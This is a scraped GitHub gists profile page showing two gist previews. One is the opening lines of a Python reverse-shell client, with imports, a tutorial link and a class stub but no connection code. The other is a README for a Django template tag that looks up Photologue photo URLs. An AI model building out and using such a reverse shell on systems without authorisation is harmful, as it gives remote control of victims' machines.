Skip to content

Instantly share code, notes, and snippets.

Cong Nguyen ntcong

Block or report user

Report or block ntcong

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View evshell_client.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_client.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import socket, os, subprocess, sys, re
class ReverseShellClient:
s = None
@ntcong
ntcong / README
Created May 14, 2011 — forked from nicpottier/README
Simple Django template tag to get the image URL for a photologue photo by slug.
View README
This gist is just a simple Django template tag that will output the display
URL for a photologue photo looked up by slug. This satisfies my need for using
Photologue simple as an admin interface to managing photos that I'm including
in flatpages.
Usage
=====
Just put photos.py in your templatetags directory. Make sure photologue
is installed, then create a new photo object.
You can’t perform that action at this time.